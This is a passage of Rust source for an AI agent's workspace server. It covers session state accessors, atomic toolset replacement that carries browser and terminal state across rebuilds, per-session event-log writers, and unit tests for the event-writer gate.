self.capability_mode
|
||||
}
|
||||
pub fn depth(&self) -> u32 {
|
||||
self.depth
|
||||
}
|
||||
pub fn fork_budget(&self) -> u32 {
|
||||
self.fork_budget
|
||||
}
|
||||
pub fn hunk_tracker(&self) -> &HunkTrackerHandle {
|
||||
&self.hunk_tracker
|
||||
}
|
||||
/// Per-user feature-flag bag resolved at session-bind time.
|
||||
pub fn viewer_ctx(&self) -> Option<&WorkspaceViewerContext> {
|
||||
self.viewer_ctx.as_ref()
|
||||
}
|
||||
pub fn yolo_mode(&self) -> bool {
|
||||
self.yolo_mode.load(std::sync::atomic::Ordering::Relaxed)
|
||||
}
|
||||
pub fn set_yolo_mode(&self, enabled: bool) {
|
||||
self.yolo_mode
|
||||
.store(enabled, std::sync::atomic::Ordering::Relaxed);
|
||||
}
|
||||
pub fn file_state_tracker(&self) -> &Arc<FileStateTracker> {
|
||||
&self.file_state_tracker
|
||||
}
|
||||
/// Git domain of the per-prompt rewind checkpoints.
|
||||
pub fn git_checkpoints(&self) -> &crate::session::git::GitCheckpointStore {
|
||||
&self.git_checkpoints
|
||||
}
|
||||
pub fn async_fs(&self) -> &AsyncFsWrapper {
|
||||
&self.async_fs
|
||||
}
|
||||
/// The session-lifetime terminal backend, injected into every toolset
|
||||
/// re-resolve so background tasks and shell state survive swaps.
|
||||
pub(crate) fn terminal_backend(
|
||||
&self,
|
||||
) -> &Arc<dyn kigi_tools::computer::types::TerminalBackend> {
|
||||
self.terminal_backend.backend()
|
||||
}
|
||||
/// Explicitly shut the session's terminal backend down (kills all of its
|
||||
/// child process groups and stops its actor). Called by
|
||||
/// `drop_session`/evict so task teardown does not depend on when the last
|
||||
/// toolset `Arc` drops.
|
||||
pub(crate) fn shutdown_terminal_backend(&self) {
|
||||
self.terminal_backend.shutdown();
|
||||
}
|
||||
/// Return the current resolved toolset (snapshot).
|
||||
pub fn toolset(&self) -> Arc<FinalizedToolset> {
|
||||
self.inner.read().toolset.clone()
|
||||
}
|
||||
/// Whether the current toolset's `Terminal` resource is the session-owned
|
||||
/// backend. `false` means the toolset is externally owned — the local
|
||||
/// (shell) mode shape installed by `bind_local_session`, where the shell's
|
||||
/// own backend rides the toolset and the session-owned backend is an idle
|
||||
/// decoy. Rebuild paths must skip such sessions: finalizing around
|
||||
/// [`Self::terminal_backend`] would swap the decoy into the toolset and
|
||||
/// detach tools from the shell's live task table. A toolset with no
|
||||
/// `Terminal` resource counts as session-owned (nothing to detach).
|
||||
pub(crate) async fn toolset_terminal_is_session_owned(&self) -> bool {
|
||||
let toolset = self.toolset();
|
||||
let res = toolset.resources.lock().await;
|
||||
match res.get::<kigi_tools::types::resources::Terminal>() {
|
||||
Some(t) => Arc::ptr_eq(&t.0, self.terminal_backend()),
|
||||
None => true,
|
||||
}
|
||||
}
|
||||
/// Return the current effective tool config baseline.
|
||||
pub fn effective_tool_config(&self) -> Arc<ToolServerConfig> {
|
||||
self.inner.read().effective_tool_config.clone()
|
||||
}
|
||||
/// Whether `fingerprint` matches the explicit bind toolset this session
|
||||
/// was created (or last rebound) with. `None` = default resolution.
|
||||
#[cfg(test)]
|
||||
pub(crate) fn bind_tool_config_matches(&self, fingerprint: Option<&serde_json::Value>) -> bool {
|
||||
let guard = self
|
||||
.bind_tool_config_fingerprint
|
||||
.lock()
|
||||
.unwrap_or_else(|e| e.into_inner());
|
||||
guard.as_ref() == fingerprint
|
||||
}
|
||||
/// Whether the last snapshot-driven rebuild failed and left the live
|
||||
/// toolset stale w.r.t. the current MCP/hub snapshots.
|
||||
pub(crate) fn stale_resolve(&self) -> bool {
|
||||
self.stale_resolve
|
||||
.load(std::sync::atomic::Ordering::Relaxed)
|
||||
}
|
||||
/// Mark the live toolset stale: a snapshot-driven rebuild failed and the
|
||||
/// previous toolset was kept.
|
||||
pub(crate) fn mark_stale_resolve(&self) {
|
||||
self.stale_resolve
|
||||
.store(true, std::sync::atomic::Ordering::Relaxed);
|
||||
}
|
||||
/// Clear the stale marker: a freshly resolved toolset was installed.
|
||||
pub(crate) fn clear_stale_resolve(&self) {
|
||||
self.stale_resolve
|
||||
.store(false, std::sync::atomic::Ordering::Relaxed);
|
||||
}
|
||||
/// Record the explicit bind toolset (or `None` for a default resolution)
|
||||
/// this session's toolset was resolved from.
|
||||
///
|
||||
/// Unconditional: callers must pair this with the toolset swap under the
|
||||
/// session's `update_lock` so fingerprint and live toolset cannot diverge.
|
||||
pub(crate) fn set_bind_tool_config_fingerprint(&self, fingerprint: Option<serde_json::Value>) {
|
||||
*self
|
||||
.bind_tool_config_fingerprint
|
||||
.lock()
|
||||
.unwrap_or_else(|e| e.into_inner()) = fingerprint;
|
||||
}
|
||||
/// [`Self::set_bind_tool_config_fingerprint`], but only when no
|
||||
/// fingerprint was recorded yet. The `session.bind` create path uses this
|
||||
/// (outside `update_lock`): a concurrent rebind can race between session
|
||||
/// insertion and this call, swap in its own toolset, and record its
|
||||
/// fingerprint under the lock — which this set-if-unset then must not
|
||||
/// clobber, or the stored fingerprint would describe a toolset that is no
|
||||
/// longer live.
|
||||
pub(crate) fn set_bind_tool_config_fingerprint_if_unset(
|
||||
&self,
|
||||
fingerprint: Option<serde_json::Value>,
|
||||
) {
|
||||
let mut guard = self
|
||||
.bind_tool_config_fingerprint
|
||||
.lock()
|
||||
.unwrap_or_else(|e| e.into_inner());
|
||||
if guard.is_none() {
|
||||
*guard = fingerprint;
|
||||
}
|
||||
}
|
||||
/// Replace both the baseline config and the resolved toolset atomically.
|
||||
///
|
||||
/// TOOL-STATE CAVEAT: the outgoing toolset is not flushed here, so an
|
||||
/// in-process rebuild can drop up to one debounce window (≤500 ms) of
|
||||
/// unpersisted state. Intentionally not "fixed" with a flush-before-rebuild:
|
||||
/// tool `call()` does not hold `update_lock`, so a concurrent call would
|
||||
/// still race. Restart/snapshot scenarios are unaffected.
|
||||
pub(crate) fn replace(
|
||||
&self,
|
||||
new_effective_tool_config: Arc<ToolServerConfig>,
|
||||
new_toolset: Arc<FinalizedToolset>,
|
||||
) {
|
||||
let mut w = self.inner.write();
|
||||
w.effective_tool_config = new_effective_tool_config;
|
||||
w.toolset = new_toolset;
|
||||
}
|
||||
/// [`Self::replace`], but first carries the session's
|
||||
/// `BrowserServiceHandle` from the old toolset into the new one.
|
||||
/// Rebuilds produce a fresh `FinalizedToolset`, so the browser service
|
||||
/// seeded post-finalize (`finalize_session_setup`) must be carried
|
||||
/// forward or the session's live browser state is lost.
|
||||
///
|
||||
/// Without the optional browser backend there is no browser service to carry;
|
||||
/// only the terminal-orphan diagnostic runs before the swap.
|
||||
///
|
||||
/// Callers must hold the session's `update_lock` so the read-then-swap
|
||||
/// cannot interleave with another rebuild.
|
||||
pub(crate) async fn replace_carrying_browser_service(
|
||||
&self,
|
||||
new_effective_tool_config: Arc<ToolServerConfig>,
|
||||
new_toolset: Arc<FinalizedToolset>,
|
||||
) {
|
||||
let old_toolset = self.toolset();
|
||||
let old_terminal = {
|
||||
let res = old_toolset.resources.lock().await;
|
||||
res.get::<kigi_tools::types::resources::Terminal>()
|
||||
.map(|t| t.0.clone())
|
||||
};
|
||||
if let Some(old_terminal) = old_terminal
|
||||
&& !Arc::ptr_eq(&old_terminal, self.terminal_backend())
|
||||
{
|
||||
crate::handle::WORKSPACE_TERMINAL_BACKEND_ORPHANED_TOTAL
|
||||
.with_label_values(&["swap"])
|
||||
.inc();
|
||||
tracing::error!(
|
||||
session_id = % self.session_id,
|
||||
"toolset swap: outgoing toolset's terminal backend is not the \
|
||||
session-owned one — its background tasks die with the old toolset"
|
||||
);
|
||||
}
|
||||
self.replace(new_effective_tool_config, new_toolset);
|
||||
}
|
||||
}
|
||||
/// Sink for delivering a workspace-originated ext-notification (method +
|
||||
/// params JSON) to the client. The shell installs the concrete delivery:
|
||||
/// the agent gateway in local mode, the server transport in proxy mode.
|
||||
pub type ClientExtSink = std::sync::Arc<dyn Fn(String, serde_json::Value) + Send + Sync>;
|
||||
/// Workspace-wide shared state.
|
||||
pub struct WorkspaceShared {
|
||||
pub(crate) default_tool_config: ToolServerConfig,
|
||||
/// Require an explicit toolset on every `session.bind`; see
|
||||
/// [`crate::config::WorkspaceConfig::require_explicit_toolset`].
|
||||
pub(crate) require_explicit_toolset: bool,
|
||||
/// See [`crate::config::WorkspaceConfig::confine_fs_to_workspace_root`].
|
||||
/// Default `false`; enabled only for remote-sandbox workspace servers.
|
||||
pub(crate) confine_fs_to_workspace_root: bool,
|
||||
/// Workspace root directory. Independent of any session — stored
|
||||
/// here so it survives session creation/deletion.
|
||||
pub(crate) root_cwd: std::path::PathBuf,
|
||||
pub(crate) sessions: RwLock<HashMap<String, Arc<WorkspaceSession>>>,
|
||||
pub(crate) session_factory: Arc<dyn SessionContextFactory>,
|
||||
pub(crate) mcp_tools_snapshot: arc_swap::ArcSwap<Vec<ToolConfig>>,
|
||||
pub(crate) events: tokio::sync::broadcast::Sender<kigi_workspace_types::WorkspaceEvent>,
|
||||
pub(crate) respect_gitignore: bool,
|
||||
pub(crate) memory_config: Option<MemoryConfig>,
|
||||
pub(crate) hook_registry: Arc<parking_lot::RwLock<kigi_hooks::discovery::HookRegistry>>,
|
||||
pub(crate) hook_load_errors: Vec<kigi_hooks::error::HookError>,
|
||||
/// Skill discovery configuration (extra paths, ignore prefixes).
|
||||
/// Used by `discover_skills` via the `discovery` module.
|
||||
pub(crate) skills_config: crate::discovery::SkillsConfig,
|
||||
/// Plugin discovery configuration (CLI dirs, config paths,
|
||||
/// disabled/enabled lists). Used by `discover_plugins` via the
|
||||
/// `discovery` module.
|
||||
pub(crate) plugin_discovery_config: crate::discovery::PluginDiscoveryConfig,
|
||||
/// Live server connection handle. `None` until
|
||||
/// [`WorkspaceHandle::connect_hub`](crate::handle::WorkspaceHandle::connect_hub)
|
||||
/// is called (or if no [`HubConfig`] was provided).
|
||||
///
|
||||
/// Uses `tokio::sync::Mutex` so the guard can be held across the
|
||||
/// async `HubHandle::connect()` call, preventing TOCTOU races.
|
||||
pub(crate) hub_handle: tokio::sync::Mutex<Option<HubHandle>>,
|
||||
/// Remote-origin tool configs (consumer direction), updated by the
|
||||
/// notification listener.
|
||||
pub(crate) hub_tools_snapshot: arc_swap::ArcSwap<Vec<ToolConfig>>,
|
||||
/// Server config stashed at construction time for deferred connect.
|
||||
pub(crate) hub_config: Option<HubConfig>,
|
||||
/// Auth provider for xAI service calls.
|
||||
pub(crate) auth_provider: Option<kigi_computer_hub_sdk::SharedAuthProvider>,
|
||||
/// Connection-level sink feeding the `ActivityTracker` (drained by
|
||||
/// `run_activity_feed`); not a network egress. `None` until `connect_hub()` sets it.
|
||||
pub(crate) activity_notify_handle:
|
||||
arc_swap::ArcSwap<Option<kigi_tools::notification::types::ToolNotificationHandle>>,
|
||||
/// Sink for workspace-originated ext-notifications to the client (e.g.
|
||||
/// `x.ai/search/fuzzy/status`). Mode-agnostic: the shell wires it to the
|
||||
/// agent gateway in local mode, and to the server in proxy mode. `None` until
|
||||
/// set via [`WorkspaceHandle::set_client_ext_sink`](crate::handle::WorkspaceHandle::set_client_ext_sink).
|
||||
pub(crate) client_ext_sink: arc_swap::ArcSwap<Option<ClientExtSink>>,
|
||||
pub(crate) local_registry: kigi_computer_hub_sdk::LocalRegistry,
|
||||
pub(crate) activity_tracker: std::sync::Arc<crate::activity::ActivityTracker>,
|
||||
/// Runtime-tunable timing/threshold config for the tool server.
|
||||
/// Read by the status publisher task and at shutdown.
|
||||
pub(crate) status_config: crate::status_config::StatusConfig,
|
||||
/// Opaque metadata for the tool server registration, forwarded verbatim to
|
||||
/// the server; structured access goes through
|
||||
/// [`WorkspaceShared::server_metadata_typed`].
|
||||
pub(crate) server_metadata: Option<serde_json::Value>,
|
||||
/// Workspace-level fuzzy search manager. Separate from the shell's
|
||||
/// own `FuzzySearchManager` — this instance serves remote (hub/RPC)
|
||||
/// clients.
|
||||
pub(crate) fuzzy_searches:
|
||||
std::sync::Arc<tokio::sync::Mutex<crate::file_system::FuzzySearchManager>>,
|
||||
pub(crate) lsp: Option<std::sync::Arc<dyn kigi_tools::implementations::lsp::LspBackend>>,
|
||||
pub(crate) codebase_indexes:
|
||||
std::sync::Arc<parking_lot::Mutex<crate::file_system::CodebaseIndexManager>>,
|
||||
/// Finalize the FS rewind checkpoint on non-`Completed` turn-end outcomes
|
||||
/// (from `KIGI_WORKSPACE_REWIND_ALL_OUTCOMES`, default off).
|
||||
pub(crate) workspace_rewind_all_outcomes: bool,
|
||||
/// Resolved `$KIGI_WORKSPACE_HOME` — the workspace-owned on-disk state root
|
||||
/// (`<kigi_home>/workspace` by default).
|
||||
pub(crate) workspace_home: std::path::PathBuf,
|
||||
/// Whether per-session `events.jsonl` recording is enabled
|
||||
/// (`KIGI_WORKSPACE_EVENTS_ENABLED=true`). When `false`, every
|
||||
/// [`session_event_writer`](Self::session_event_writer) hands back an
|
||||
/// [`EventWriter::noop()`](kigi_file_utils::events::EventWriter::noop) and
|
||||
/// no session directory or `events.jsonl` is ever created — the legacy
|
||||
/// behaviour, preserved bit-for-bit.
|
||||
pub(crate) events_enabled: bool,
|
||||
/// Per-session `events.jsonl` writers, keyed by `session_id`. Lazily opened
|
||||
/// on first use under `workspace_home/sessions/{session_id}/`. Held in an
|
||||
/// `Arc` shared with [`ActivityTracker`](crate::activity::ActivityTracker) so
|
||||
/// `Tool*` events resolve the right writer without a back-reference to
|
||||
/// `WorkspaceShared`. Stays empty whenever `events_enabled` is `false`.
|
||||
pub(crate) session_event_writers:
|
||||
Arc<dashmap::DashMap<String, kigi_file_utils::events::EventWriter>>,
|
||||
/// `(path, size, mtime_ms) → sha256` memo for the client-facing
|
||||
/// `workspace.client_fs_*` ops, so unchanged files hash once per
|
||||
/// workspace instead of per stat/read.
|
||||
/// Test-only seam: runs after the toolset re-resolve returns and before
|
||||
/// the post-resolve turn re-check / install in
|
||||
/// `resolve_and_swap_session_toolset_locked`, so tests can interleave a
|
||||
/// turn start inside the check→install window deterministically.
|
||||
#[cfg(test)]
|
||||
pub(crate) post_resolve_test_hook: parking_lot::Mutex<Option<Box<dyn Fn() + Send + Sync>>>,
|
||||
pub(crate) client_fs_hash_memo: crate::file_system::client_fs::FileHashMemo,
|
||||
}
|
||||
impl WorkspaceShared {
|
||||
/// Workspace root directory.
|
||||
pub fn root_cwd(&self) -> &std::path::Path {
|
||||
&self.root_cwd
|
||||
}
|
||||
/// Resolved `$KIGI_WORKSPACE_HOME` — the workspace-owned on-disk state root.
|
||||
pub fn workspace_home(&self) -> &std::path::Path {
|
||||
&self.workspace_home
|
||||
}
|
||||
/// Return the per-session `events.jsonl` writer for `session_id`, opening
|
||||
/// (and caching) it on first use under
|
||||
/// `workspace_home/sessions/{session_id}/`.
|
||||
///
|
||||
/// When `events_enabled` is `false` this returns
|
||||
/// [`EventWriter::noop()`](kigi_file_utils::events::EventWriter::noop)
|
||||
/// WITHOUT touching the cache or the filesystem, so the flag-off path stays
|
||||
/// byte-for-byte identical to the legacy behaviour. The returned handle is
|
||||
/// `Clone + Send + Sync`; callers emit through it directly.
|
||||
pub(crate) fn session_event_writer(
|
||||
&self,
|
||||
session_id: &str,
|
||||
) -> kigi_file_utils::events::EventWriter {
|
||||
get_or_open_session_writer(
|
||||
self.events_enabled,
|
||||
&self.session_event_writers,
|
||||
&self.workspace_home,
|
||||
session_id,
|
||||
)
|
||||
}
|
||||
/// Like `session_event_writer` but never opens a new writer. Returns `None`
|
||||
/// if the session was never opened or already evicted.
|
||||
#[allow(dead_code)]
|
||||
pub(crate) fn session_event_writer_cached(
|
||||
&self,
|
||||
session_id: &str,
|
||||
) -> Option<kigi_file_utils::events::EventWriter> {
|
||||
if !self.events_enabled {
|
||||
return None;
|
||||
}
|
||||
self.session_event_writers
|
||||
.get(session_id)
|
||||
.map(|w| w.value().clone())
|
||||
}
|
||||
/// Stable hub server id (`--server-id`), if a hub config is present.
|
||||
pub(crate) fn server_id(&self) -> Option<String> {
|
||||
self.hub_config.as_ref().and_then(|c| c.server_id.clone())
|
||||
}
|
||||
/// Auth provider used for xAI service calls.
|
||||
pub fn auth_provider(&self) -> Option<&kigi_computer_hub_sdk::SharedAuthProvider> {
|
||||
self.auth_provider.as_ref()
|
||||
}
|
||||
/// Parse the opaque [`server_metadata`](Self::server_metadata) blob into
|
||||
/// the typed subset the workspace needs (currently `sandbox_id`);
|
||||
/// unknown/missing fields default cleanly. A present-but-malformed blob is
|
||||
/// logged and salvaged field-by-field (a bad sibling field must not
|
||||
/// silently drop `sandbox_id` from every environment artifact).
|
||||
pub(crate) fn server_metadata_typed(&self) -> crate::config::WorkspaceServerMetadata {
|
||||
let Some(v) = self.server_metadata.as_ref() else {
|
||||
return Default::default();
|
||||
};
|
||||
match serde_json::from_value(v.clone()) {
|
||||
Ok(typed) => typed,
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
error = % e,
|
||||
"workspace: malformed server_metadata; salvaging sandbox_id field-wise"
|
||||
);
|
||||
crate::config::WorkspaceServerMetadata {
|
||||
sandbox_id: v
|
||||
.get("sandbox_id")
|
||||
.and_then(serde_json::Value::as_str)
|
||||
.map(str::to_owned),
|
||||
..Default::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pub fn default_tool_config(&self) -> &ToolServerConfig {
|
||||
&self.default_tool_config
|
||||
}
|
||||
pub fn respect_gitignore(&self) -> bool {
|
||||
self.respect_gitignore
|
||||
}
|
||||
pub fn memory_config(&self) -> Option<&MemoryConfig> {
|
||||
self.memory_config.as_ref()
|
||||
}
|
||||
pub fn mcp_tools_snapshot(&self) -> Arc<Vec<ToolConfig>> {
|
||||
self.mcp_tools_snapshot.load_full()
|
||||
}
|
||||
/// The tool server, if a server connection is active.
|
||||
///
|
||||
/// Returns a clone of the [`ToolServer`](kigi_computer_hub_sdk::ToolServer)
|
||||
/// which is cheap (`Arc` bump). Uses `try_lock` to avoid blocking
|
||||
/// on the async mutex from synchronous contexts. Returns `None` if
|
||||
/// the lock is held (i.e. a `connect_hub` call is in progress).
|
||||
pub fn hub_server(&self) -> Option<kigi_computer_hub_sdk::ToolServer> {
|
||||
self.hub_handle
|
||||
.try_lock()
|
||||
.ok()
|
||||
.and_then(|guard| guard.as_ref().map(|h| h.server.clone()))
|
||||
}
|
||||
/// Like [`Self::hub_server`] but awaits the `hub_handle` lock instead of
|
||||
/// returning `None` on contention. Use from async contexts that must not
|
||||
/// confuse a transient `connect_hub` lock-hold with "no hub connected";
|
||||
/// `None` means no hub is connected.
|
||||
pub async fn hub_server_blocking(&self) -> Option<kigi_computer_hub_sdk::ToolServer> {
|
||||
self.hub_handle
|
||||
.lock()
|
||||
.await
|
||||
.as_ref()
|
||||
.map(|h| h.server.clone())
|
||||
}
|
||||
/// Current snapshot of hub-provided tool configs (consumer direction).
|
||||
pub fn hub_tools_snapshot(&self) -> Arc<Vec<ToolConfig>> {
|
||||
self.hub_tools_snapshot.load_full()
|
||||
}
|
||||
/// Compose a session's tool `ctx.notification_handle` as a fan-out of the
|
||||
/// connection-level activity feed (internal tracker accounting) and the
|
||||
/// opt-in per-session `system.notify` sender. Only the `system.notify` leg
|
||||
/// reaches a client, so the fan-out can't double-wake. `None` → factory default.
|
||||
pub(crate) fn compose_session_notification_handle(
|
||||
&self,
|
||||
system_notify_handle: Option<ToolNotificationHandle>,
|
||||
) -> Option<ToolNotificationHandle> {
|
||||
let activity = self.activity_notify_handle.load_full().as_ref().clone();
|
||||
match (activity, system_notify_handle) {
|
||||
(None, None) => None,
|
||||
(Some(a), None) => Some(a),
|
||||
(None, Some(s)) => Some(s),
|
||||
(Some(a), Some(s)) => Some(ToolNotificationHandle::tee(vec![a, s])),
|
||||
}
|
||||
}
|
||||
pub fn activity_tracker(&self) -> &std::sync::Arc<crate::activity::ActivityTracker> {
|
||||
&self.activity_tracker
|
||||
}
|
||||
pub fn fuzzy_searches(
|
||||
&self,
|
||||
) -> &std::sync::Arc<tokio::sync::Mutex<crate::file_system::FuzzySearchManager>> {
|
||||
&self.fuzzy_searches
|
||||
}
|
||||
pub fn subscribe_events(
|
||||
&self,
|
||||
) -> tokio::sync::broadcast::Receiver<kigi_workspace_types::WorkspaceEvent> {
|
||||
self.events.subscribe()
|
||||
}
|
||||
pub fn codebase_indexes(
|
||||
&self,
|
||||
) -> &std::sync::Arc<parking_lot::Mutex<crate::file_system::CodebaseIndexManager>> {
|
||||
&self.codebase_indexes
|
||||
}
|
||||
/// Skill discovery configuration (extra paths and ignore
|
||||
/// prefixes). Used by the `discovery` module when the channel's
|
||||
/// `discover_skills` method is called.
|
||||
pub fn skills_config(&self) -> &crate::discovery::SkillsConfig {
|
||||
&self.skills_config
|
||||
}
|
||||
/// Plugin discovery configuration (CLI dirs, config paths,
|
||||
/// disabled/enabled lists). Used by the `discovery` module when
|
||||
/// the channel's `discover_plugins` method is called.
|
||||
pub fn plugin_discovery_config(&self) -> &crate::discovery::PluginDiscoveryConfig {
|
||||
&self.plugin_discovery_config
|
||||
}
|
||||
/// Re-resolve every session's toolset and emit `ToolsChanged` events.
|
||||
///
|
||||
/// Shared implementation used by `on_mcp_snapshot_changed`,
|
||||
/// `on_hub_tools_changed`, and the server notification listener.
|
||||
///
|
||||
/// When `use_async_lock` is true, uses `.lock().await` on each
|
||||
/// session's `update_lock` (appropriate for spawned async tasks
|
||||
/// where notifications must not be silently lost). When false,
|
||||
/// uses `try_lock()` and skips sessions whose lock is held.
|
||||
pub(crate) async fn re_resolve_all_sessions(
|
||||
self: &Arc<Self>,
|
||||
source: &str,
|
||||
use_async_lock: bool,
|
||||
) -> usize {
|
||||
use crate::session::swap_policy::{
|
||||
SessionSnapshot, SwapAction, SwapDecision, SwapPolicy, SwapTrigger,
|
||||
record_swap_decision,
|
||||
};
|
||||
let trigger = SwapTrigger::from_rebuild_source(source);
|
||||
let mcp_snap = self.mcp_tools_snapshot.load_full();
|
||||
let hub_snap = self.hub_tools_snapshot.load_full();
|
||||
let sessions: Vec<(String, Arc<WorkspaceSession>)> = {
|
||||
let guard = self.sessions.read();
|
||||
guard
|
||||
.iter()
|
||||
.map(|(id, s)| (id.clone(), s.clone()))
|
||||
.collect()
|
||||
};
|
||||
let mut rebuilt = 0usize;
|
||||
for (sid, session) in sessions {
|
||||
let guard = if use_async_lock {
|
||||
session.update_lock.lock().await
|
||||
} else {
|
||||
match session.update_lock.try_lock() {
|
||||
Ok(g) => g,
|
||||
Err(_) => {
|
||||
tracing::trace!(
|
||||
session = % sid, source = % source,
|
||||
"skipping rebuild: session update_lock held"
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
let snapshot =
|
||||
SessionSnapshot::capture_for_rebuild(&session, &self.activity_tracker).await;
|
||||
match SwapPolicy::evaluate(&snapshot, trigger) {
|
||||
SwapDecision::Apply => {}
|
||||
SwapDecision::Skip(reason) => {
|
||||
record_swap_decision(
|
||||
&self.activity_tracker,
|
||||
trigger,
|
||||
&sid,
|
||||
SwapAction::Skipped(reason),
|
||||
);
|
||||
tracing::warn!(
|
||||
session = % sid, source = % source,
|
||||
"skipping rebuild: toolset terminal backend is externally \
|
||||
owned (local bind)"
|
||||
);
|
||||
drop(guard);
|
||||
continue;
|
||||
}
|
||||
decision @ (SwapDecision::Reuse | SwapDecision::Defer(_)) => {
|
||||
debug_assert!(
|
||||
false,
|
||||
"snapshot rebuild produced a non-rebuild decision: {decision:?}"
|
||||
);
|
||||
tracing::error!(
|
||||
session = % sid, source = % source, ? decision,
|
||||
"skipping rebuild: snapshot rebuild policy returned a \
|
||||
non-rebuild decision (policy regression)"
|
||||
);
|
||||
drop(guard);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
let baseline = (*session.effective_tool_config()).clone();
|
||||
match crate::session::tool_config::resolve_session_toolset_rebuild(
|
||||
baseline,
|
||||
session.capability_mode(),
|
||||
&mcp_snap,
|
||||
&hub_snap,
|
||||
session.cwd().to_path_buf(),
|
||||
session.session_env().clone(),
|
||||
&sid,
|
||||
self.session_factory.as_ref(),
|
||||
Some(self.local_registry.clone()),
|
||||
self.lsp.clone(),
|
||||
session.viewer_ctx().cloned(),
|
||||
self.compose_session_notification_handle(session.system_notify_handle()),
|
||||
session.terminal_backend().clone(),
|
||||
) {
|
||||
Ok((effective, toolset)) => {
|
||||
session
|
||||
.replace_carrying_browser_service(Arc::new(effective), toolset)
|
||||
.await;
|
||||
session.clear_stale_resolve();
|
||||
record_swap_decision(
|
||||
&self.activity_tracker,
|
||||
trigger,
|
||||
&sid,
|
||||
SwapAction::Applied,
|
||||
);
|
||||
let _ = self
|
||||
.events
|
||||
.send(kigi_workspace_types::WorkspaceEvent::ToolsChanged {
|
||||
session_id: sid,
|
||||
});
|
||||
rebuilt += 1;
|
||||
}
|
||||
Err(e) => {
|
||||
session.mark_stale_resolve();
|
||||
record_swap_decision(
|
||||
&self.activity_tracker,
|
||||
trigger,
|
||||
&sid,
|
||||
SwapAction::ApplyFailed,
|
||||
);
|
||||
tracing::warn!(
|
||||
session = % sid, source = % source, error = % e,
|
||||
"snapshot rebuild failed for session"
|
||||
);
|
||||
}
|
||||
}
|
||||
drop(guard);
|
||||
}
|
||||
rebuilt
|
||||
}
|
||||
}
|
||||
/// Core get-or-open logic for a session's `events.jsonl` writer, factored out of
|
||||
/// [`WorkspaceShared::session_event_writer`] so the `enabled` gate can be
|
||||
/// unit-tested without touching process environment.
|
||||
///
|
||||
/// - `enabled == false` → [`EventWriter::noop()`]; the `writers` map and the
|
||||
/// filesystem are left untouched (legacy behaviour preserved).
|
||||
/// - `enabled == true` → returns the cached writer for `session_id`, opening a
|
||||
/// fresh one (and creating `workspace_home/sessions/{session_id}/`) on first
|
||||
/// use. [`EventWriter::open`] uses `create(true).append(true)`, so a writer
|
||||
/// re-opened for the same directory after a workspace restart APPENDS to the
|
||||
/// existing `events.jsonl` rather than truncating it.
|
||||
pub(crate) fn get_or_open_session_writer(
|
||||
enabled: bool,
|
||||
writers: &dashmap::DashMap<String, kigi_file_utils::events::EventWriter>,
|
||||
workspace_home: &Path,
|
||||
session_id: &str,
|
||||
) -> kigi_file_utils::events::EventWriter {
|
||||
use kigi_file_utils::events::EventWriter;
|
||||
if !enabled {
|
||||
return EventWriter::noop();
|
||||
}
|
||||
if let Some(existing) = writers.get(session_id) {
|
||||
return existing.value().clone();
|
||||
}
|
||||
let dir = workspace_home.join("sessions").join(session_id);
|
||||
if let Err(e) = std::fs::create_dir_all(&dir) {
|
||||
tracing::warn!(
|
||||
session_id = % session_id, dir = % dir.display(), error = % e,
|
||||
"failed to create session event dir; events.jsonl disabled for this session (will retry on next use)"
|
||||
);
|
||||
return EventWriter::noop();
|
||||
}
|
||||
let writer = EventWriter::open(&dir);
|
||||
writers
|
||||
.entry(session_id.to_owned())
|
||||
.or_insert(writer)
|
||||
.clone()
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::get_or_open_session_writer;
|
||||
use dashmap::DashMap;
|
||||
use kigi_file_utils::events::{Event, EventWriter};
|
||||
fn count_lines(path: &std::path::Path) -> usize {
|
||||
std::fs::read_to_string(path)
|
||||
.unwrap()
|
||||
.trim()
|
||||
.lines()
|
||||
.count()
|
||||
}
|
||||
#[test]
|
||||
fn flag_off_returns_noop_and_creates_nothing() {
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let writers: DashMap<String, EventWriter> = DashMap::new();
|
||||
let w = get_or_open_session_writer(false, &writers, home.path(), "sess-a");
|
||||
w.emit(Event::ToolStarted {
|
||||
tool_name: "read_file".into(),
|
||||
});
|
||||
assert!(writers.is_empty(), "flag-off must not cache a writer");
|
||||
let sess_dir = home.path().join("sessions").join("sess-a");
|
||||
assert!(
|
||||
!sess_dir.exists(),
|
||||
"flag-off must not create the session dir or events.jsonl"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn flag_on_opens_and_writes_real_content() {
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let writers: DashMap<String, EventWriter> = DashMap::new();
|
||||
let w = get_or_open_session_writer(true, &writers, home.path(), "sess-b");
|
||||
w.emit(Event::YoloToggled { enabled: true });
|
||||
assert_eq!(writers.len(), 1, "flag-on must cache the opened writer");
|
||||
let path = home
|
||||
.path()
|
||||
.join("sessions")
|
||||
.join("sess-b")
|
||||
.join("events.jsonl");
|
||||
let text = std::fs::read_to_string(&path).unwrap();
|
||||
let v: serde_json::Value = serde_json::from_str(text.trim()).unwrap();
|
||||
assert_eq!(v["type"], "yolo_toggled");
|
||||
assert_eq!(v["enabled"], true);
|
||||
assert!(v["ts"].as_str().is_some());
|
||||
}
|
||||
#[test]
|
||||
fn second_call_reuses_one_cache_entry() {
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let writers: DashMap<String, EventWriter> = DashMap::new();
|
||||
get_or_open_session_writer(true, &writers, home.path(), "sess-c").emit(
|
||||
Event::ToolStarted {
|
||||
tool_name: "a".into(),
|
||||
},
|
||||
);
|
||||
get_or_open_session_writer(true, &writers, home.path(), "sess-c").emit(
|
||||
Event::ToolStarted {
|
||||
tool_name: "b".into(),
|
||||
},
|
||||
);
|
||||
assert_eq!(writers.len(), 1, "same session must reuse one cache entry");
|
||||
let path = home
|
||||
.path()
|
||||
.join("sessions")
|
||||
.join("sess-c")
|
||||
.join("events.jsonl");
|
||||
assert_eq!(count_lines(&path), 2);
|
||||
}
|
||||
#[test]
|
||||
fn reopen_after_restart_appends() {
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
{
|
||||
let writers: DashMap<String, EventWriter> = DashMap::new();
|
||||
get_or_open_session_writer(true, &writers, home.path(), "sess-d").emit(
|
||||
Event::ToolStarted {
|
||||
